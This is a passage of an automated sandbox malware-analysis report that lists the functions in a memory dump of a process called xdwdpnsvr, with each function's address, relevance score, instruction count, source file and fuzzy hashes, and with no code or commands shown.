                                                                                                                                                                            • Opcode Fuzzy Hash: 883308c527c1cf7074ef62345675def0033bc49bfbb46938b9256b6c288776e1
                                                                                                                                                                            • Instruction Fuzzy Hash: DA412F65F3958E4BE755BB2CC49A6FE3282AF99342F540535E00DD32E7FD2C78468282
                                                                                                                                                                            Function 00007FFE6F7B2CF6 Relevance: .1, Instructions: 137COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c586abc91d4205d336ad33cee8bf432ec2f7454073aab0f853e634aa73d5ce8d
                                                                                                                                                                            • Instruction ID: e9b810191e45f0d5a0bd378db732c517dc30ac90e2d9a420b0a3b7978df92a03
                                                                                                                                                                            • Opcode Fuzzy Hash: c586abc91d4205d336ad33cee8bf432ec2f7454073aab0f853e634aa73d5ce8d
                                                                                                                                                                            • Instruction Fuzzy Hash: 69414425F3A94E4BE795BB38C4556BE6192EF99302F910478E00ED72E3ED3CB8418741
                                                                                                                                                                            Function 00007FFE6F7BD9FE Relevance: .1, Instructions: 135COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e4da0e18422de2109ce57ba4286af4855312a1c50cd4db92ece2715f9291f8b3
                                                                                                                                                                            • Instruction ID: 8d6d61de95ccd26d3acf3d9cdfa0a6c8ec5efda9671689836c95ca279bc0977f
                                                                                                                                                                            • Opcode Fuzzy Hash: e4da0e18422de2109ce57ba4286af4855312a1c50cd4db92ece2715f9291f8b3
                                                                                                                                                                            • Instruction Fuzzy Hash: 4641CC519AE3CA0FE3476B7888256A57FB19F57214B0A05EBD4C9CF0F3E41C588AC362
                                                                                                                                                                            Function 00007FFE6F7B2D1A Relevance: .1, Instructions: 135COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 5443dd1fce53cfba9517ae5c8005af0b3aa0e7fa69a3a6e01ebaa4f4ed5af567
                                                                                                                                                                            • Instruction ID: fe52853572cdfe777882e9c2281ad75c371271b2744344c6422737dd8112892a
                                                                                                                                                                            • Opcode Fuzzy Hash: 5443dd1fce53cfba9517ae5c8005af0b3aa0e7fa69a3a6e01ebaa4f4ed5af567
                                                                                                                                                                            • Instruction Fuzzy Hash: 8A415225F3A98E8AE795BB38C4556BE6192AF99301F910478E00ED72E7ED3CB841C741
                                                                                                                                                                            Function 00007FFE6F7BD3C0 Relevance: .1, Instructions: 122COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 67de47fc413a1b0c95ae708c26b8895ad2c9013842437670ef91054fec5b5595
                                                                                                                                                                            • Instruction ID: 06d45cfd28f83d78c027eb6b06c62a8afcd0b47ba2ff4dd3e92ce3ae5130c750
                                                                                                                                                                            • Opcode Fuzzy Hash: 67de47fc413a1b0c95ae708c26b8895ad2c9013842437670ef91054fec5b5595
                                                                                                                                                                            • Instruction Fuzzy Hash: 9C31C73092EACE8FEB55AF68C8555E97BE1FF4A311F0401BBD40DC71A3EA28A845C751
                                                                                                                                                                            Function 00007FFE6F7BDE9A Relevance: .1, Instructions: 112COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ca6671a0dd1e99e026e04f461003c8c6010647996cfc65aefa7595cb5baa223a
                                                                                                                                                                            • Instruction ID: 542b0fc41a57f835feacea88ab2359c550d249be42c7e71f1c913f58f290a1cc
                                                                                                                                                                            • Opcode Fuzzy Hash: ca6671a0dd1e99e026e04f461003c8c6010647996cfc65aefa7595cb5baa223a
                                                                                                                                                                            • Instruction Fuzzy Hash: 84314325F3999D4AF6946B28C0953FD2183BBE9714F558478D09EC72D2ED2C7842C3C0
                                                                                                                                                                            Function 00007FFE6F7B12E8 Relevance: .1, Instructions: 111COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 349e5acd4cfbdf7c26dfced99be49e550ff87fa51768e6c0f58309f93aa909e7
                                                                                                                                                                            • Instruction ID: 0cc0057706780f895d33b62c22006a191bc172fdd7eb314d825469057087d401
                                                                                                                                                                            • Opcode Fuzzy Hash: 349e5acd4cfbdf7c26dfced99be49e550ff87fa51768e6c0f58309f93aa909e7
                                                                                                                                                                            • Instruction Fuzzy Hash: 7E312F35E3595D8FEB98EF68D4456F9B2A1FF59311F500079E40DD32A2EE29A8418640
                                                                                                                                                                            Function 00007FFE6F7BC458 Relevance: .1, Instructions: 103COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ccbef3b543e3ce2ca4b2fbce0a7e68224dce9d69f2f7c783c7dca2c74947a3cd
                                                                                                                                                                            • Instruction ID: 8eda08f710e54861c445af033a239cedac2dc0be5bf1823be9e0bc6c968ddde9
                                                                                                                                                                            • Opcode Fuzzy Hash: ccbef3b543e3ce2ca4b2fbce0a7e68224dce9d69f2f7c783c7dca2c74947a3cd
                                                                                                                                                                            • Instruction Fuzzy Hash: CF311931A18A5C8FDF94EF68D885BECBBF0FB58311F50416AD44DE3262DA34A985CB41
                                                                                                                                                                            Function 00007FFE6F7BD289 Relevance: .1, Instructions: 102COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: db42c5f76edd09b0428b2f92a61cff2613af0faae9e046090183e1aa6429cdf2
                                                                                                                                                                            • Instruction ID: cc2566537638534f536035a452e8adb9efe281f2a3415ad41072f52f5eaee0f2
                                                                                                                                                                            • Opcode Fuzzy Hash: db42c5f76edd09b0428b2f92a61cff2613af0faae9e046090183e1aa6429cdf2
                                                                                                                                                                            • Instruction Fuzzy Hash: 1531CF75D2E6CE8FEB51AB68C8562E97BA1EF1A310F44007AD408D31E2F92CB8568345
                                                                                                                                                                            Function 00007FFE6F7B90E1 Relevance: .1, Instructions: 99COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: de3375ba658bbc240a9e19c744fed4741e4560296d48bec2a6af8037e64775a0
                                                                                                                                                                            • Instruction ID: 0f4dddcf66a472d6165ea640bffe3284b5eb9c5a7c63f1b611e0d5a5a2950be0
                                                                                                                                                                            • Opcode Fuzzy Hash: de3375ba658bbc240a9e19c744fed4741e4560296d48bec2a6af8037e64775a0
                                                                                                                                                                            • Instruction Fuzzy Hash: B831E635D2D68E8FEB519B68D8496E83BF0EF7B310F0500BAD40CD71A6F928A8448351
                                                                                                                                                                            Function 00007FFE6F7BADA7 Relevance: .1, Instructions: 92COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ea22da571edb9f45fc337abf4ebd4b2a4e77d92fe9fc0a78d6d001c78e5c142b
                                                                                                                                                                            • Instruction ID: 339d445c4b0064c967ead1fe980933e357ee21ec1d03ba0b7b908dc42b8fb17f
                                                                                                                                                                            • Opcode Fuzzy Hash: ea22da571edb9f45fc337abf4ebd4b2a4e77d92fe9fc0a78d6d001c78e5c142b
                                                                                                                                                                            • Instruction Fuzzy Hash: 91311E35E3955E8FEB94FB28C85A6FC72E0EF59302F400479E809D32B2EE2878418650
                                                                                                                                                                            Function 00007FFE6F7B886D Relevance: .1, Instructions: 90COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 20340818da69ca9ef539bedccc0160dfd8cba0ca1f53bacf8a4f29554d8e3b67
                                                                                                                                                                            • Instruction ID: fd28f0a3ec077c9d8656637f604a87fc403d7a96a05787ae9acb70c84a4b5884
                                                                                                                                                                            • Opcode Fuzzy Hash: 20340818da69ca9ef539bedccc0160dfd8cba0ca1f53bacf8a4f29554d8e3b67
                                                                                                                                                                            • Instruction Fuzzy Hash: 23314B1993F2DF8EE7565B3898151A43FA19F57251F4901FAD048CB0F3F91C781A8362
                                                                                                                                                                            Function 00007FFE6F7B8066 Relevance: .1, Instructions: 83COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 30d85133188c4eea8e8ac1903f90edfb3d298920c866722aec85521d2e288ac4
                                                                                                                                                                            • Instruction ID: 8a58f25097dbd6a951c9c7fe6d8f2bcbab39540da05a8c1c2f663f5534bd28f8
                                                                                                                                                                            • Opcode Fuzzy Hash: 30d85133188c4eea8e8ac1903f90edfb3d298920c866722aec85521d2e288ac4
                                                                                                                                                                            • Instruction Fuzzy Hash: 43312A30518B8C8FEB64DF28C8457D97BE1FB98710F14826EE84DC7265CB74A945CB82
                                                                                                                                                                            Function 00007FFE6F7B258D Relevance: .1, Instructions: 76COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: f249765eb237ff83268c5729f4505a64446039d9070aebe94a35af318be3a50f
                                                                                                                                                                            • Instruction ID: 6f3b8e4ab47280afcc7e27d5033569a894bbf75f2af4402b32912d2b920272b4
                                                                                                                                                                            • Opcode Fuzzy Hash: f249765eb237ff83268c5729f4505a64446039d9070aebe94a35af318be3a50f
                                                                                                                                                                            • Instruction Fuzzy Hash: C821802593F7CE4FE3536B7488255A93FA2AF47244F1604FAD049C71E3E92DA805C311
                                                                                                                                                                            Function 00007FFE6F7BACEF Relevance: .1, Instructions: 68COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 879d8748a424db09e86e789a9171191d8718be125a1248e27459058b1d0b233c
                                                                                                                                                                            • Instruction ID: 7f0880b3a5383f765324ab6c0407ebb73efc6e1f7dec55cc71a724606d215ca6
                                                                                                                                                                            • Opcode Fuzzy Hash: 879d8748a424db09e86e789a9171191d8718be125a1248e27459058b1d0b233c
                                                                                                                                                                            • Instruction Fuzzy Hash: 0111F134A3995D8FE794FB28C45A2FC72E1EF5D701B540579E40ED32A6ED28AC418740
                                                                                                                                                                            Function 00007FFE6F7B88DD Relevance: .1, Instructions: 66COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 60b558f36fa7354e598ab13a804f4f624857d71bdcfe902fcbfaf6b49587bca8
                                                                                                                                                                            • Instruction ID: 71aa986577d7d6cf0cf175f58205ad08c49b27bdf88ce255ff5892d7a40da090
                                                                                                                                                                            • Opcode Fuzzy Hash: 60b558f36fa7354e598ab13a804f4f624857d71bdcfe902fcbfaf6b49587bca8
                                                                                                                                                                            • Instruction Fuzzy Hash: E421A25996F7CB4FEB175B3498255A43FB09E57212B4E01E7D489CB0F3E90C684A8363
                                                                                                                                                                            Function 00007FFE6F7BDFC9 Relevance: .1, Instructions: 65COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2d994f50a20e7dae70a9b2d9b9068a04300bdf423da049e0d70efbe15e7a6c12
                                                                                                                                                                            • Instruction ID: 8f9ff50baf91533887f8aff3ec90a55ad93150779469d442efcffb32d1f93720
                                                                                                                                                                            • Opcode Fuzzy Hash: 2d994f50a20e7dae70a9b2d9b9068a04300bdf423da049e0d70efbe15e7a6c12
                                                                                                                                                                            • Instruction Fuzzy Hash: DE119126E3C49F46FB687A6CD4022FD71919B65311F680178E85DD32E2FD0C382782D2
                                                                                                                                                                            Function 00007FFE6F7BCB8B Relevance: .1, Instructions: 63COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e871a56f3c41d46118b1bb4b95ab894614823c653505a52a3325c7f30e6b8836
                                                                                                                                                                            • Instruction ID: 5842c0c85adf93f194f45089a05b9ade1364f0a5a3061aaf4a119447c7c41290
                                                                                                                                                                            • Opcode Fuzzy Hash: e871a56f3c41d46118b1bb4b95ab894614823c653505a52a3325c7f30e6b8836
                                                                                                                                                                            • Instruction Fuzzy Hash: A2018836E7D56E8FEB58AB5CE8831FD7390EB4A321F404476D54FD3191E92938134284
                                                                                                                                                                            Function 00007FFE6F7BA173 Relevance: .1, Instructions: 52COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 9fd283af9038c1bd0aa70d75754db03a0d4f75d22ba36e192916efcc1af32a27
                                                                                                                                                                            • Instruction ID: e8a310221382a78fab365c99815ba65a7ea247ecdaaa7a0abb7ac7168e2ecb4c
                                                                                                                                                                            • Opcode Fuzzy Hash: 9fd283af9038c1bd0aa70d75754db03a0d4f75d22ba36e192916efcc1af32a27
                                                                                                                                                                            • Instruction Fuzzy Hash: 59013C34D39A5E8EE798AB28C4501F872A1FF48310F944078E40ED32E6DE39A8418604
                                                                                                                                                                            Function 00007FFE6F7B36EA Relevance: .1, Instructions: 51COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c1acc0f50055d23fb19deb1e654ae4acfe90ffd600e468482ff95c176b5e74df
                                                                                                                                                                            • Instruction ID: c00c799ae0ed7aa65a9c9f26b0352ef187ff3d3168152ae3d27bde715bb69805
                                                                                                                                                                            • Opcode Fuzzy Hash: c1acc0f50055d23fb19deb1e654ae4acfe90ffd600e468482ff95c176b5e74df
                                                                                                                                                                            • Instruction Fuzzy Hash: 4701A725F3586D8FFAD46B2894892F921C1EB5E321F800474D40ED72E2ED1C7CC20380
                                                                                                                                                                            Function 00007FFE6F7BDB99 Relevance: .0, Instructions: 44COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: b6175ea14e2d1e8cba80e308103facf640b75dfa7af50b4aa44dc61e5e9126e1
                                                                                                                                                                            • Instruction ID: 95e76d36496a64f6eeb40c697fc6b049f2890e94ea20499f597ae30f24ad0cce
                                                                                                                                                                            • Opcode Fuzzy Hash: b6175ea14e2d1e8cba80e308103facf640b75dfa7af50b4aa44dc61e5e9126e1
                                                                                                                                                                            • Instruction Fuzzy Hash: 3C018429C7F9AFC9EAA5AF58E0615F97242AF4E310F540131E809D31E3ED58B8018254
                                                                                                                                                                            Function 00007FFE6F7BAD3C Relevance: .0, Instructions: 42COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 708f6164993ca6d1616d7fd78bca3e2ae8456ff28727268108f974cdab5e25d2
                                                                                                                                                                            • Instruction ID: a6fdd47d2ad39a8fc41b6e9246f0cb6108de2681fea8ee4b693c2e923cf1b778
                                                                                                                                                                            • Opcode Fuzzy Hash: 708f6164993ca6d1616d7fd78bca3e2ae8456ff28727268108f974cdab5e25d2
                                                                                                                                                                            • Instruction Fuzzy Hash: B8F03130E35A1D8FE799FF28D8552FC72E2EF59701B500479E80DD72A6DE286C418340
                                                                                                                                                                            Function 00007FFE6F7BAA7D Relevance: .0, Instructions: 38COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 412b9c43d026fe356006640dc9142f2a64c242413208b1c9b8b8dffe27147119
                                                                                                                                                                            • Instruction ID: a5dc4923321c99fdb301bc6d576eed3b2d1808690273650a9084ebba5c5f7241
                                                                                                                                                                            • Opcode Fuzzy Hash: 412b9c43d026fe356006640dc9142f2a64c242413208b1c9b8b8dffe27147119
                                                                                                                                                                            • Instruction Fuzzy Hash: 50F01220A3595D8EE799BF2884152FD62D2EF89301B900079E40DD72A6EE2968418200
                                                                                                                                                                            Function 00007FFE6F7B4978 Relevance: .0, Instructions: 36COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: bc13e1bc0fe52733dbb7a8466291c3187e1c64eb2a9b777de5f2f75882fe01c2
                                                                                                                                                                            • Instruction ID: 4f2527a46507214af3af65ceab87a54973edd872c891d5a2c4bef78eba9eea7d
                                                                                                                                                                            • Opcode Fuzzy Hash: bc13e1bc0fe52733dbb7a8466291c3187e1c64eb2a9b777de5f2f75882fe01c2
                                                                                                                                                                            • Instruction Fuzzy Hash: 7AE06505A3E86F55F9642B29E4485F97081DB9A352F980435E40ED21E6FC0CBC825186
                                                                                                                                                                            Function 00007FFE6F7BB585 Relevance: .0, Instructions: 36COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 224e879ea7cdd6f586054d7bff56f4c9c150e2a6ecaea92f941592e0649abcfd
                                                                                                                                                                            • Instruction ID: 739305788e428f0eaa5d6614bfe8e9a18afa2317b317dfa5042e631aa3d89750
                                                                                                                                                                            • Opcode Fuzzy Hash: 224e879ea7cdd6f586054d7bff56f4c9c150e2a6ecaea92f941592e0649abcfd
                                                                                                                                                                            • Instruction Fuzzy Hash: 9BF0B41583A58E8AE724AF1C98964F67780EF68329B400939D99FD1162FD0C3455C293
                                                                                                                                                                            Function 00007FFE6F7B371F Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000020.00000002.2811178486.00007FFE6F7B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7B0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_32_2_7ffe6f7b0000_xdwdpnsvr.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 550f97ef936e7a0589ea1ffd3269b78d9b041376febbc3065c2a9fc0b7bf42f8
                                                                                                                                                                            • Instruction ID: e6a4f18b1f1ba4ad0c83c982b6529b9c4cf4abaf516cd7010d6a5a2b86312c22
                                                                                                                                                                            • Opcode Fuzzy Hash: 550f97ef936e7a0589ea1ffd3269b78d9b041376febbc3065c2a9fc0b7bf42f8
                                                                                                                                                                            • Instruction Fuzzy Hash: 4DF03026E3952D5EFB987B38A4496F82281DB4A2B0F540576E80DC72A6FD1D6CC20680
                                                                                                                                                                            Function 00007FFE6F7B9E58 Relevance: .0, Instructions: 35COMMON
